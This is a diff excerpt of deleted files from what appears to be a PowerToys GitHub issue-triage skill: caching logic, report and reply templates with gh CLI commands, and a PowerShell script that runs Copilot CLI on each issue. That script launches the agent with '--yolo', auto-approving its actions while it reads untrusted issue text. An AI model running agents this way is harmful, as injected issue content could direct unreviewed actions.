For issue #{{issue_number}}, I need detailed analysis.
Use the review-issue prompt at `.github/prompts/review-issue.prompt.md` to generate:
1. `Generated Files/triage-issues/issue-cache/{{issue_number}}/overview.md`
2. `Generated Files/triage-issues/issue-cache/{{issue_number}}/implementation-plan.md`
```
### Caching Strategy
```
Generated Files/triage-issues/issue-cache/
├── 12345/
│ ├── overview.md
│ ├── implementation-plan.md
│ └── metadata.json
└── 12346/
└── ...
```
**metadata.json**:
```json
{
"issueNumber": 12345,
"analyzedAt": "2026-02-05T10:30:00Z",
"issueUpdatedAt": "2026-02-04T15:30:00Z",
"commentCountAtAnalysis": 15,
"isStale": false
}
```
### Cache Invalidation
Re-run analysis if:
1. Issue has new comments since last analysis
2. Issue state changed (open ↔ closed)
3. Labels changed significantly
4. More than 7 days since last analysis
5. User explicitly requests refresh
```powershell
function Test-CacheValid {
param(
[int]$IssueNumber,
[hashtable]$CurrentIssueData
)
$cachePath = "Generated Files/triage-issues/issue-cache/$IssueNumber"
$metadataPath = "$cachePath/metadata.json"
if (-not (Test-Path $metadataPath)) {
return @{ valid = $false; reason = "No cached analysis" }
}
$metadata = Get-Content $metadataPath | ConvertFrom-Json
# Check freshness
$daysSinceAnalysis = ((Get-Date) - [datetime]$metadata.analyzedAt).Days
if ($daysSinceAnalysis -gt 7) {
return @{ valid = $false; reason = "Cache older than 7 days" }
}
# Check for new comments
if ($CurrentIssueData.commentCount -gt $metadata.commentCountAtAnalysis) {
return @{ valid = $false; reason = "New comments added" }
}
# Check for state change
if ($CurrentIssueData.updatedAt -gt $metadata.issueUpdatedAt) {
return @{ valid = $false; reason = "Issue updated since analysis" }
}
return @{ valid = $true }
}
```
## Selective Analysis
Don't analyze every issue - be selective:
### Batch 1: High-Priority Analysis
Analyze first:
- Trending issues with negative sentiment
- Potential ready-for-fix candidates (unclear if ready)
- Issues with high reaction counts (>10 👍)
### Batch 2: Moderate Priority
Analyze if time permits:
- Needs-Info issues (to draft better questions)
- Complex duplicate candidates
### Batch 3: Skip Analysis
Don't analyze:
- Clear closeable issues
- Stale-waiting issues
- Already-analyzed recent issues
## Extracting Scores from Analysis
After running `review-issue`, parse the `overview.md`:
```powershell
function Get-AnalysisScores {
param([string]$OverviewPath)
$content = Get-Content $OverviewPath -Raw
# Extract from the At-a-Glance Score Table
$scores = @{}
# Business Importance
if ($content -match '\*\*A\) Business Importance\*\*.*?(\d+)/100') {
$scores.businessImportance = [int]$Matches[1]
}
# Community Excitement
if ($content -match '\*\*B\) Community Excitement\*\*.*?(\d+)/100') {
$scores.communityExcitement = [int]$Matches[1]
}
# Technical Feasibility
if ($content -match '\*\*C\) Technical Feasibility\*\*.*?(\d+)/100') {
$scores.technicalFeasibility = [int]$Matches[1]
}
# Requirement Clarity
if ($content -match '\*\*D\) Requirement Clarity\*\*.*?(\d+)/100') {
$scores.requirementClarity = [int]$Matches[1]
}
# Overall Priority
if ($content -match '\*\*Overall Priority\*\*.*?(\d+)/100') {
$scores.overallPriority = [int]$Matches[1]
}
# Effort Estimate
if ($content -match '\*\*Effort Estimate\*\*.*?(\d+) days.*?(XS|S|M|L|XL|XXL|Epic)') {
$scores.effortDays = [int]$Matches[1]
$scores.effortTShirt = $Matches[2]
}
return $scores
}
```
## Similar Issue Search
For duplicate detection, search existing issues:
```powershell
function Find-SimilarIssues {
param([hashtable]$Issue)
# Extract key terms from title
$searchTerms = $Issue.title -split '\s+' | Where-Object { $_.Length -gt 3 }
$searchQuery = ($searchTerms | Select-Object -First 5) -join ' '
# Search both open and closed
$similar = gh issue list `
--search "$searchQuery" `
--state all `
--json number,title,state,closedAt,labels `
--limit 10 `
| ConvertFrom-Json `
| Where-Object { $_.number -ne $Issue.number }
# Score similarity
$results = $similar | ForEach-Object {
$similarity = Get-TitleSimilarity $Issue.title $_.title
@{
number = $_.number
title = $_.title
state = $_.state
closedAt = $_.closedAt
similarityScore = $similarity
}
} | Where-Object { $_.similarityScore -gt 50 } | Sort-Object similarityScore -Descending
return $results
}
function Get-TitleSimilarity {
param(
[string]$Title1,
[string]$Title2
)
$words1 = $Title1.ToLower() -split '\W+' | Where-Object { $_.Length -gt 2 }
$words2 = $Title2.ToLower() -split '\W+' | Where-Object { $_.Length -gt 2 }
$common = ($words1 | Where-Object { $words2 -contains $_ }).Count
$total = [Math]::Max($words1.Count, $words2.Count)
if ($total -eq 0) { return 0 }
return [int](($common / $total) * 100)
}
```
## MCP Tools for Rich Context
When available, use MCP tools for additional context:
### Images (UI issues)
```markdown
If the issue mentions screenshots or UI problems, use MCP:
github_issue_images(owner: "microsoft", repo: "PowerToys", issueNumber: 12345)
```
### Attachments (Logs)
```markdown
If the issue mentions logs or diagnostic reports:
github_issue_attachments(
owner: "microsoft",
repo: "PowerToys",
issueNumber: 12345,
extractFolder: "Generated Files/triage-issues/issue-cache/12345/logs"
)
```
## Analysis Output
Save analysis metadata for state tracking:
```powershell
$metadata = @{
issueNumber = $Issue.number
analyzedAt = (Get-Date).ToUniversalTime().ToString("o")
issueUpdatedAt = $Issue.updatedAt
commentCountAtAnalysis = $Issue.commentCount
scores = $extractedScores
suggestedCategory = $determinedCategory
}
$metadata | ConvertTo-Json | Set-Content "$cachePath/metadata.json"
```
## Next Step
Proceed to [Step 5: Report Generation](./step5-reports.md).

View File

@@ -1,316 +0,0 @@
# Step 5: Report Generation
Generate actionable reports for each category and an executive summary.
## Report Structure
```
Generated Files/triage-issues/current-run/
├── summary.md # Executive summary (start here)
├── trending.md # 🔥 Trending issues
├── needs-label.md # 🏷️ Issues missing labels
├── ready-for-fix.md # ✅ Ready for implementation
├── needs-info.md # ❓ Needs author feedback
├── needs-clarification.md # 💬 Questions/discussions
├── closeable.md # ✔️ Can be closed
├── stale-waiting.md # ⏳ Waiting on author
├── duplicate-candidate.md # 🔁 Potential duplicates
└── draft-replies/ # Pre-drafted messages
├── issue-12345.md
└── issue-12346.md
```
## Executive Summary Template
**File**: `summary.md`
```markdown
# Issue Triage Summary - {{DATE}}
**Run Type**: {{RUN_TYPE}} | **Issues Analyzed**: {{TOTAL_COUNT}} | **Since**: {{LAST_RUN_DATE}}
## 📊 Quick Stats
| Metric | Value | Change |
|--------|-------|--------|
| Total issues scanned | {{TOTAL}} | {{DELTA}} |
| New issues since last run | {{NEW_COUNT}} | — |
| Issues with new activity | {{ACTIVE_COUNT}} | — |
| Closed issues with comments | {{CLOSED_ACTIVE}} | — |
## ⚡ Action Required by Category
| Category | Count | Top Priority | Draft Ready? |
|----------|-------|--------------|--------------|
| 🔥 Trending | {{COUNT}} | [#{{NUM}}]({{LINK}}) ({{COMMENTS}} new comments) | — |
| 🏷️ Needs-Label | {{COUNT}} | [#{{NUM}}]({{LINK}}) (suggest: {{LABEL}}) | — |
| ✅ Ready-for-Fix | {{COUNT}} | [#{{NUM}}]({{LINK}}) (score: {{SCORE}}/100) | — |
| ❓ Needs-Info | {{COUNT}} | [#{{NUM}}]({{LINK}}) (missing: {{ITEMS}}) | ✅ |
| 💬 Needs-Clarification | {{COUNT}} | [#{{NUM}}]({{LINK}}) | ✅ |
| ✔️ Closeable | {{COUNT}} | [#{{NUM}}]({{LINK}}) ({{REASON}}) | ✅ |
| ⏳ Stale-Waiting | {{COUNT}} | [#{{NUM}}]({{LINK}}) ({{DAYS}} days) | ✅ |
| 🔁 Duplicate-Candidate | {{COUNT}} | [#{{NUM}}]({{LINK}}) → #{{DUP_OF}} | — |
## 🎯 Top 5 Priority Actions
1. **[Urgent]** Review [#{{NUM}}]({{LINK}}) - {{REASON}}
2. **[High]** Post clarification on [#{{NUM}}]({{LINK}}) - draft ready
3. **[High]** Assign [#{{NUM}}]({{LINK}}) - ready for implementation
4. **[Medium]** Label [#{{NUM}}]({{LINK}}) as {{LABEL}}
5. **[Low]** Close [#{{NUM}}]({{LINK}}) - fixed in v{{VERSION}}
## 📁 Detailed Reports
- [Trending Issues](./trending.md)
- [Needs Label](./needs-label.md)
- [Ready for Fix](./ready-for-fix.md)
- [Needs Information](./needs-info.md)
- [Needs Clarification](./needs-clarification.md)
- [Closeable](./closeable.md)
- [Stale Waiting](./stale-waiting.md)
- [Duplicate Candidates](./duplicate-candidate.md)
## 📝 Draft Replies Ready
{{COUNT}} draft replies prepared in `draft-replies/`:
{{DRAFT_LIST}}
## ⏭️ Follow-ups from Last Run
| Issue | Previous Action | Status |
|-------|-----------------|--------|
| [#{{NUM}}]({{LINK}}) | Posted clarification | ✅ Resolved |
| [#{{NUM}}]({{LINK}}) | Requested info | ⏳ No response |
| [#{{NUM}}]({{LINK}}) | Assigned to @{{USER}} | 🔄 In progress |
---
*Generated by continuous-issue-triage skill | Next suggested run: {{NEXT_RUN}}*
```
## Category Report Templates
### Trending Report (`trending.md`)
```markdown
# 🔥 Trending Issues
Issues with significant activity since last triage ({{THRESHOLD}}+ new comments).
| # | Issue | New Comments | Total | Sentiment | Last Activity |
|---|-------|--------------|-------|-----------|---------------|
| 1 | [#{{NUM}}]({{LINK}}) {{TITLE}} | +{{NEW}} | {{TOTAL}} | {{SENTIMENT}} | {{TIME_AGO}} |
---
## #{{ISSUE_NUM}}: {{TITLE}}
**Activity**: +{{NEW}} comments ({{TOTAL}} total) | **Sentiment**: {{SENTIMENT}}
### Recent Discussion Summary
{{SUMMARY_OF_RECENT_COMMENTS}}
### Key Participants
- @{{USER1}} ({{COMMENT_COUNT}} comments) - {{STANCE}}
- @{{USER2}} ({{COMMENT_COUNT}} comments) - {{STANCE}}
### Recommended Action
{{RECOMMENDATION}}
---
```
### Needs-Label Report (`needs-label.md`)
```markdown
# 🏷️ Issues Missing Area/Product Labels
These issues need categorization for proper routing.
| # | Issue | Suggested Label | Confidence | Reason |
|---|-------|-----------------|------------|--------|
| 1 | [#{{NUM}}]({{LINK}}) {{TITLE}} | `{{LABEL}}` | {{CONF}}% | {{REASON}} |
---
## Quick Apply Commands
```bash
# Apply suggested labels (review first!)
gh issue edit {{NUM}} --add-label "{{LABEL}}"
gh issue edit {{NUM}} --add-label "{{LABEL}}"
```
---
## Detailed Analysis
### #{{ISSUE_NUM}}: {{TITLE}}
**Suggested**: `{{LABEL}}` ({{CONFIDENCE}}% confidence)
**Why**: {{DETAILED_REASON}}
**Alternative labels to consider**: {{ALTERNATIVES}}
---
```
### Ready-for-Fix Report (`ready-for-fix.md`)
```markdown
# ✅ Issues Ready for Implementation
High-clarity issues that are technically feasible.
| # | Issue | Clarity | Feasibility | Effort | Potential Assignee |
|---|-------|---------|-------------|--------|-------------------|
| 1 | [#{{NUM}}]({{LINK}}) {{TITLE}} | {{CLARITY}}/100 | {{FEASIBILITY}}/100 | {{EFFORT}} | @{{USER}} |
---
## #{{ISSUE_NUM}}: {{TITLE}}
**Scores**: Clarity {{CLARITY}}/100 | Feasibility {{FEASIBILITY}}/100 | Priority {{PRIORITY}}/100
**Effort**: {{DAYS}} days ({{TSHIRT}})
**Product Area**: {{LABELS}}
### Problem Summary
{{BRIEF_PROBLEM}}
### Implementation Hints
{{FROM_IMPLEMENTATION_PLAN}}
### Suggested Assignees
- @{{USER1}} - {{REASON}}
- @{{USER2}} - {{REASON}}
**Full Analysis**: [issue-cache/{{NUM}}/overview.md](../issue-cache/{{NUM}}/overview.md)
---
```
### Needs-Info Report (`needs-info.md`)
```markdown
# ❓ Issues Needing More Information
These issues lack details needed for investigation or planning.
| # | Issue | Missing | Days Open | Draft Ready |
|---|-------|---------|-----------|-------------|
| 1 | [#{{NUM}}]({{LINK}}) {{TITLE}} | {{MISSING}} | {{DAYS}} | [View](./draft-replies/issue-{{NUM}}.md) |
---
## #{{ISSUE_NUM}}: {{TITLE}}
**Missing Information**:
- [ ] {{ITEM_1}}
- [ ] {{ITEM_2}}
- [ ] {{ITEM_3}}
**Draft Reply**: [draft-replies/issue-{{NUM}}.md](./draft-replies/issue-{{NUM}}.md)
### Quick Post
```bash
gh issue comment {{NUM}} --body-file "Generated Files/triage-issues/current-run/draft-replies/issue-{{NUM}}.md"
gh issue edit {{NUM}} --add-label "Needs-Author-Feedback"
```
---
```
### Closeable Report (`closeable.md`)
```markdown
# ✔️ Issues Ready to Close
These issues can be closed with appropriate messaging.
| # | Issue | Close Reason | PR/Version | Draft Ready |
|---|-------|--------------|------------|-------------|
| 1 | [#{{NUM}}]({{LINK}}) {{TITLE}} | {{REASON}} | {{REFERENCE}} | [View](./draft-replies/issue-{{NUM}}.md) |
---
## Batch Close Commands
```bash
# Review drafts first, then close with message
# Fixed by PR
gh issue close {{NUM}} --comment "Fixed in #{{PR_NUM}}. This fix is available in v{{VERSION}}. Thank you for reporting!"
# Duplicate
gh issue close {{NUM}} --comment "Closing as duplicate of #{{DUP_NUM}}. Please follow that issue for updates."
# By design / Won't fix
gh issue close {{NUM}} --comment "After review, this is working as designed. {{EXPLANATION}}"
```
---
## #{{ISSUE_NUM}}: {{TITLE}}
**Reason**: {{DETAILED_REASON}}
**Draft Close Message**: [draft-replies/issue-{{NUM}}.md](./draft-replies/issue-{{NUM}}.md)
---
```
## Generation Script
```powershell
function New-TriageReports {
param(
[hashtable]$CategorizedIssues,
[hashtable]$State,
[string]$OutputPath = "Generated Files/triage-issues/current-run"
)
# Ensure directory exists
New-Item -ItemType Directory -Force -Path $OutputPath
New-Item -ItemType Directory -Force -Path "$OutputPath/draft-replies"
# Group by category
$byCategory = $CategorizedIssues.Values | Group-Object -Property category
# Generate category reports
foreach ($group in $byCategory) {
$categoryName = $group.Name
$issues = $group.Group | Sort-Object priorityScore -Descending
$reportPath = "$OutputPath/$categoryName.md"
$reportContent = New-CategoryReport -Category $categoryName -Issues $issues
$reportContent | Set-Content $reportPath
}
# Generate summary
$summaryContent = New-ExecutiveSummary -Categories $byCategory -State $State
$summaryContent | Set-Content "$OutputPath/summary.md"
Write-Host "Reports generated at $OutputPath"
}
```
## Report Conventions
1. **Always link to GitHub**: Use `[#NUM](https://github.com/microsoft/PowerToys/issues/NUM)`
2. **Include quick commands**: Provide `gh` CLI commands for easy action
3. **Sort by priority**: Highest priority issues first within each category
4. **Cross-reference drafts**: Link to draft replies when available
5. **Show deltas**: Compare to previous run where applicable
## Next Step
Proceed to [Step 6: Reply Templates](./step6-reply-templates.md) for draft message generation.

View File

@@ -1,340 +0,0 @@
# Step 6: Reply Templates
Generate draft replies for issues requiring human response.
## Draft Reply Location
```
Generated Files/triage-issues/current-run/draft-replies/
├── issue-12345.md # Needs-info draft
├── issue-12346.md # Clarification draft
├── issue-12347.md # Close message draft
└── ...
```
## Reply Categories
| Category | Reply Type | Tone | Key Elements |
|----------|------------|------|--------------|
| Needs-Info | Question list | Friendly, helpful | Specific questions, context why needed |
| Needs-Clarification | Explanation | Educational, patient | Answer the question, link to docs |
| Closeable (fixed) | Thank you + reference | Grateful | PR link, version, appreciation |
| Closeable (duplicate) | Redirect | Brief, helpful | Link to original, explain |
| Closeable (by-design) | Explanation | Respectful | Rationale, alternatives |
| Stale-Waiting | Gentle ping | Patient | Reminder, offer to close |
## Template: Needs-Info Reply
**File**: `issue-XXXXX.md`
```markdown
Hi @{{AUTHOR}},
Thank you for reporting this issue! To help us investigate further, could you please provide the following information?
{{#IF_MISSING_REPRO}}
**Reproduction Steps**
- What exact steps lead to this issue?
- Can you provide a minimal, consistent way to reproduce it?
{{/IF_MISSING_REPRO}}
{{#IF_MISSING_VERSION}}
**Environment Details**
- PowerToys version (Settings > General > Version):
- Windows version (winver):
- Did this work in a previous version? If so, which one?
{{/IF_MISSING_VERSION}}
{{#IF_MISSING_EXPECTED}}
**Expected vs Actual Behavior**
- What did you expect to happen?
- What actually happened instead?
{{/IF_MISSING_EXPECTED}}
{{#IF_MISSING_SCREENSHOTS}}
**Visual Evidence** (if applicable)
- Could you attach a screenshot or screen recording showing the issue?
{{/IF_MISSING_SCREENSHOTS}}
{{#IF_MISSING_LOGS}}
**Diagnostic Logs**
- Please run PowerToys and reproduce the issue
- Generate a bug report: Settings > General > "Generate Bug Report"
- Attach the resulting ZIP file
{{/IF_MISSING_LOGS}}
This information will help us reproduce and fix the issue faster. Thanks!
```
## Template: Needs-Clarification Reply
**File**: `issue-XXXXX.md`
```markdown
Hi @{{AUTHOR}},
Thanks for reaching out! Let me help clarify this:
{{EXPLANATION}}
{{#IF_BY_DESIGN}}
This behavior is actually by design. Here's the reasoning:
- {{REASON_1}}
- {{REASON_2}}
{{/IF_BY_DESIGN}}
{{#IF_HOW_TO}}
Here's how you can achieve what you're looking for:
1. {{STEP_1}}
2. {{STEP_2}}
3. {{STEP_3}}
{{/IF_HOW_TO}}
{{#IF_DOCS_LINK}}
You can find more information in our documentation:
- [{{DOC_TITLE}}]({{DOC_LINK}})
{{/IF_DOCS_LINK}}
{{#IF_RELATED_ISSUE}}
There's also an existing discussion about this in #{{RELATED_NUM}} that might be helpful.
{{/IF_RELATED_ISSUE}}
{{#IF_FEATURE_REQUEST}}
If you'd like to request this as a new feature, I'd suggest:
1. Search existing issues to see if it's already requested
2. If not, open a new feature request issue with your use case
We track feature popularity through 👍 reactions, so feel free to upvote any existing requests that match your needs!
{{/IF_FEATURE_REQUEST}}
Let me know if you have any other questions!
```
## Template: Close (Fixed by PR)
**File**: `issue-XXXXX.md`
```markdown
Hi @{{AUTHOR}},
Great news! This issue has been addressed in PR #{{PR_NUM}}.
{{#IF_RELEASED}}
**The fix is now available in PowerToys v{{VERSION}}**
You can update to the latest version through:
- Microsoft Store (automatic updates)
- GitHub Releases: https://github.com/microsoft/PowerToys/releases/tag/v{{VERSION}}
- WinGet: `winget upgrade Microsoft.PowerToys`
{{/IF_RELEASED}}
{{#IF_NOT_RELEASED}}
The fix has been merged and will be included in the next release (v{{NEXT_VERSION}}).
You can track the release progress in our [milestones](https://github.com/microsoft/PowerToys/milestones).
{{/IF_NOT_RELEASED}}
Thank you for reporting this issue and helping improve PowerToys! 🙏
Closing this issue as resolved. If you encounter any further problems, please don't hesitate to open a new issue.
```
## Template: Close (Duplicate)
**File**: `issue-XXXXX.md`
```markdown
Hi @{{AUTHOR}},
Thanks for reporting this! It looks like this issue is a duplicate of #{{ORIGINAL_NUM}}.
To avoid splitting the discussion, I'm closing this in favor of the original issue. Please:
- 👍 React to #{{ORIGINAL_NUM}} to show your interest
- Add any additional context or reproduction details as a comment there
- Subscribe to #{{ORIGINAL_NUM}} for updates
{{#IF_DIFFERENT_CONTEXT}}
I noticed your report includes some additional context that might be helpful. I'll add a comment to #{{ORIGINAL_NUM}} referencing this issue.
{{/IF_DIFFERENT_CONTEXT}}
Thank you for understanding!
```
## Template: Close (By Design / Won't Fix)
**File**: `issue-XXXXX.md`
```markdown
Hi @{{AUTHOR}},
Thank you for taking the time to report this and share your feedback.
After reviewing this issue, we've determined that this behavior is **{{RESOLUTION_TYPE}}**.
{{#IF_BY_DESIGN}}
### Why This Is By Design
{{RATIONALE}}
This design choice was made because:
- {{REASON_1}}
- {{REASON_2}}
{{/IF_BY_DESIGN}}
{{#IF_WONT_FIX}}
### Why We're Not Addressing This
{{RATIONALE}}
We've decided not to implement this change because:
- {{REASON_1}}
- {{REASON_2}}
{{/IF_WONT_FIX}}
{{#IF_WORKAROUND}}
### Workaround
In the meantime, you might try:
{{WORKAROUND}}
{{/IF_WORKAROUND}}
{{#IF_ALTERNATIVE}}
### Alternative Approaches
You might consider:
- {{ALTERNATIVE_1}}
- {{ALTERNATIVE_2}}
{{/IF_ALTERNATIVE}}
We appreciate your understanding. If you have additional context that might change our assessment, please let us know!
```
## Template: Stale-Waiting Ping
**File**: `issue-XXXXX.md`
```markdown
Hi @{{AUTHOR}},
We haven't heard back from you in a while. Are you still experiencing this issue?
{{#IF_WAITING_FOR_INFO}}
We're still waiting for the additional information requested above to help investigate this issue.
{{/IF_WAITING_FOR_INFO}}
{{#IF_WAITING_FOR_CONFIRMATION}}
Could you confirm if the suggested solution worked for you?
{{/IF_WAITING_FOR_CONFIRMATION}}
If we don't hear back within the next {{DAYS}} days, we'll close this issue to keep our backlog manageable. You're always welcome to reopen it or create a new issue if the problem persists.
Thanks for your understanding! 🙏
```
## Template: Closed Issue with New Comment
**File**: `issue-XXXXX.md`
```markdown
Hi @{{COMMENTER}},
Thanks for your comment! This issue was closed {{TIME_AGO}} because {{CLOSE_REASON}}.
{{#IF_SAME_ISSUE}}
If you're experiencing the same issue and it's not resolved, please open a new issue with:
- Your PowerToys version
- Steps to reproduce
- Any error messages or screenshots
This helps us track and prioritize effectively.
{{/IF_SAME_ISSUE}}
{{#IF_QUESTION}}
Regarding your question:
{{ANSWER}}
{{/IF_QUESTION}}
{{#IF_DIFFERENT_ISSUE}}
It sounds like you might be experiencing a different issue. Please open a new issue with details about your specific problem so we can help you better.
{{/IF_DIFFERENT_ISSUE}}
```
## Draft Generation Logic
```powershell
function New-DraftReply {
param(
[hashtable]$Issue,
[string]$Category,
[hashtable]$AnalysisData
)
$draftPath = "Generated Files/triage-issues/current-run/draft-replies/issue-$($Issue.number).md"
switch ($Category) {
"needs-info" {
$content = New-NeedsInfoDraft -Issue $Issue -Missing $AnalysisData.missingItems
}
"needs-clarification" {
$content = New-ClarificationDraft -Issue $Issue -QuestionType $AnalysisData.questionType
}
"closeable" {
$content = New-CloseDraft -Issue $Issue -CloseReason $AnalysisData.closeReason
}
"stale-waiting" {
$content = New-StalePingDraft -Issue $Issue -DaysWaiting $AnalysisData.daysWaiting
}
default {
return $null # No draft needed
}
}
# Add metadata header
$header = @"
---
issue: $($Issue.number)
title: $($Issue.title)
category: $Category
generated: $(Get-Date -Format "o")
status: draft
---
"@
($header + $content) | Set-Content $draftPath
return $draftPath
}
```
## Draft Review Checklist
Before posting any draft:
- [ ] Read the full issue context
- [ ] Check for recent comments not in analysis
- [ ] Personalize if needed (remove boilerplate feel)
- [ ] Verify links work
- [ ] Ensure tone is appropriate
- [ ] Remove any placeholder text (`{{...}}`)
## Posting Drafts
```bash
# Post a single draft
gh issue comment 12345 --body-file "Generated Files/triage-issues/current-run/draft-replies/issue-12345.md"
# Add label if needed
gh issue edit 12345 --add-label "Needs-Author-Feedback"
# Close with message
gh issue close 12345 --comment "$(cat draft-replies/issue-12345.md)"
```
## Best Practices
1. **Never auto-post**: Always human review before posting
2. **Be empathetic**: Remember there's a person on the other side
3. **Be specific**: Generic responses feel dismissive
4. **Provide value**: Every reply should move the issue forward
5. **Link resources**: Documentation, related issues, PRs
6. **Thank contributors**: Acknowledge their time and effort

View File

@@ -1,217 +0,0 @@
<#
.SYNOPSIS
Runs Copilot CLI analysis on issues using review-issue prompt.
.DESCRIPTION
Kicks off GitHub Copilot CLI to analyze each issue using
the review-issue.prompt.md file. Processes sequentially with timeout handling.
.PARAMETER IssueNumbers
Array of issue numbers to analyze. If not provided, collects from recent activity.
.PARAMETER TimeoutMinutes
Timeout for each Copilot analysis. Default: 8
.PARAMETER MaxRetryCount
Maximum retries on timeout/failure. Default: 3
.PARAMETER Model
Copilot model to use (optional).
.EXAMPLE
.\analyze-issues-parallel.ps1 -IssueNumbers @(45201, 45107, 45321)
.EXAMPLE
.\analyze-issues-parallel.ps1 -TimeoutMinutes 10 -MaxRetries 2
#>
[CmdletBinding()]
param(
[Parameter()]
[int[]]$IssueNumbers,
[Parameter()]
[int]$TimeoutMinutes = 8,
[Parameter()]
[int]$MaxRetryCount = 3,
[Parameter()]
[string]$Model,
[Parameter()]
[int]$LookbackDays = 14,
[Parameter()]
[int]$MaxIssues = 15
)
$ErrorActionPreference = "Stop"
$repoRoot = (git rev-parse --show-toplevel 2>$null); if (-not $repoRoot) { $repoRoot = (Get-Location).Path }; $repoRoot = (Resolve-Path $repoRoot).Path
# Resolve config directory name (.github or .claude) from script location
$_cfgDir = if ($PSScriptRoot -match '[\\/](\.github|\.claude)[\\/]') { $Matches[1] } else { '.github' }
$triageRoot = Join-Path $repoRoot "Generated Files\triage-issues"
$issueCachePath = Join-Path $triageRoot "issue-cache"
$promptPath = Join-Path $repoRoot "$_cfgDir\prompts\review-issue.prompt.md"
# Ensure directories exist
if (-not (Test-Path $issueCachePath)) {
New-Item -ItemType Directory -Path $issueCachePath -Force | Out-Null
}
Write-Host "═══════════════════════════════════════════════════════════════" -ForegroundColor Cyan
Write-Host " Issue Analysis with Copilot CLI" -ForegroundColor Cyan
Write-Host " Using: review-issue.prompt.md" -ForegroundColor Cyan
Write-Host "═══════════════════════════════════════════════════════════════" -ForegroundColor Cyan
Write-Host ""
# If no issues provided, collect from recent activity
if (-not $IssueNumbers -or $IssueNumbers.Count -eq 0) {
Write-Host "Collecting issues from last $LookbackDays days..." -ForegroundColor Yellow
$issues = gh issue list --state open --json number,title,comments,updatedAt --limit 200 | ConvertFrom-Json
$recent = $issues | Where-Object { [datetime]$_.updatedAt -gt (Get-Date).AddDays(-$LookbackDays) }
# Prioritize: trending first, then by recency
$prioritized = $recent | Sort-Object { -$_.comments.Count }, { [datetime]$_.updatedAt } -Descending
$IssueNumbers = ($prioritized | Select-Object -First $MaxIssues).number
Write-Host " Found $($recent.Count) recent issues, selected top $($IssueNumbers.Count) for analysis" -ForegroundColor Green
}
Write-Host ""
Write-Host "Issues to analyze: $($IssueNumbers -join ', ')" -ForegroundColor Cyan
Write-Host "Timeout: ${TimeoutMinutes}m | Retries: $MaxRetryCount" -ForegroundColor Gray
Write-Host ""
# Results tracking
$results = @{}
$startTime = Get-Date
$totalIssues = $IssueNumbers.Count
$current = 0
foreach ($issueNum in $IssueNumbers) {
$current++
$issueDir = Join-Path $issueCachePath $issueNum
if (-not (Test-Path $issueDir)) {
New-Item -ItemType Directory -Path $issueDir -Force | Out-Null
}
$logFile = Join-Path $issueDir "analysis.log"
$errorFile = Join-Path $issueDir "error.log"
$statusFile = Join-Path $issueDir "status.json"
Write-Host ""
Write-Host "[$current/$totalIssues] #$issueNum - Beginning analysis..." -ForegroundColor Yellow
$success = $false
$lastError = $null
$retryCount = 0
for ($retry = 0; $retry -lt $MaxRetryCount -and -not $success; $retry++) {
$retryCount = $retry + 1
if ($retry -gt 0) {
Write-Host " [RETRY] Attempt $retryCount/$MaxRetryCount (waiting 10s)..." -ForegroundColor Yellow
Start-Sleep -Seconds 10
}
try {
# Build the prompt - use the review-issue prompt directly
$prompt = @"
Analyze GitHub issue #$issueNum using the methodology from $_cfgDir/prompts/review-issue.prompt.md
First, fetch the issue data:
gh issue view $issueNum --json number,title,body,author,createdAt,updatedAt,state,labels,milestone,reactions,comments,linkedPullRequests
Then produce a concise JSON summary with this structure (output ONLY the JSON):
{
"issueNumber": $issueNum,
"title": "issue title",
"category": "trending|needs-label|ready-for-fix|needs-info|needs-clarification|closeable|stale-waiting|duplicate-candidate|review-needed",
"categoryReason": "brief explanation",
"priorityScore": 0-100,
"clarityScore": 0-100,
"feasibilityScore": 0-100,
"suggestedAction": "what human should do",
"suggestedLabels": ["label1", "label2"],
"missingInfo": ["item1", "item2"],
"draftReply": "if needs-info or needs-clarification, draft the reply"
}
"@
# Build Copilot CLI arguments
$copilotArgs = @('-p', $prompt, '--yolo', '--agent', 'ReviewIssue')
if ($Model) {
$copilotArgs += @('--model', $Model)
}
Write-Host " Running copilot CLI..." -ForegroundColor Gray
# Run copilot directly (not in job)
$output = & copilot @copilotArgs 2>&1
$outputStr = $output | Out-String
# Save the output
$outputStr | Out-File -FilePath $logFile -Force
# Check for valid output
if ($outputStr.Length -gt 200) {
$success = $true
Write-Host " [SUCCESS] Analysis complete ($($outputStr.Length) chars)" -ForegroundColor Green
}
else {
$lastError = "Output too short ($($outputStr.Length) chars)"
Write-Host " [WARN] $lastError" -ForegroundColor Yellow
}
}
catch {
$lastError = $_.Exception.Message
Write-Host " [ERROR] $lastError" -ForegroundColor Red
}
}
# Save status
$status = @{
issueNumber = $issueNum
success = $success
attempts = $retryCount
lastError = $lastError
analyzedAt = (Get-Date).ToUniversalTime().ToString("o")
}
$status | ConvertTo-Json | Out-File -FilePath $statusFile -Force
$results[$issueNum] = $status
if (-not $success) {
$lastError | Out-File -FilePath $errorFile -Force
Write-Host " [FAILED] All $MaxRetryCount attempts failed: $lastError" -ForegroundColor Red
}
}
$elapsed = (Get-Date) - $startTime
Write-Host ""
Write-Host "═══════════════════════════════════════════════════════════════" -ForegroundColor Cyan
Write-Host " Analysis Complete" -ForegroundColor Cyan
Write-Host "═══════════════════════════════════════════════════════════════" -ForegroundColor Cyan
Write-Host ""
Write-Host "Duration: $([math]::Round($elapsed.TotalMinutes, 1)) minutes" -ForegroundColor Gray
Write-Host "Total issues: $($IssueNumbers.Count)" -ForegroundColor Gray
$successCount = ($results.Values | Where-Object { $_.success }).Count
$failCount = ($results.Values | Where-Object { -not $_.success }).Count
Write-Host "Successful: $successCount" -ForegroundColor Green
Write-Host "Failed: $failCount" -ForegroundColor $(if ($failCount -gt 0) { 'Red' } else { 'Gray' })
if ($failCount -gt 0) {
Write-Host ""
Write-Host "Failed issues:" -ForegroundColor Red
$results.Values | Where-Object { -not $_.success } | ForEach-Object {
Write-Host " #$($_.issueNumber): $($_.lastError)" -ForegroundColor Red
}
}
Write-Host ""
Write-Host "Results saved to: $issueCachePath" -ForegroundColor Cyan

View File

@@ -1,376 +0,0 @@
<#
.SYNOPSIS
Categorizes collected issues into actionable buckets.
.DESCRIPTION
Applies categorization rules to issues collected by collect-active-issues.ps1.
Outputs categorized results with priority scores and suggested actions.
.PARAMETER InputPath
Path to collected issues JSON. Default: Generated Files/triage-issues/current-run/collected-issues.json
.PARAMETER StatePath
Path to triage state JSON. Default: Generated Files/triage-issues/triage-state.json
.PARAMETER OutputPath
Path to save categorized results. Default: Generated Files/triage-issues/current-run/categorized-issues.json
.PARAMETER TrendingThreshold
Minimum new comments to flag as trending. Default: 5
.EXAMPLE
.\categorize-issues.ps1
.EXAMPLE
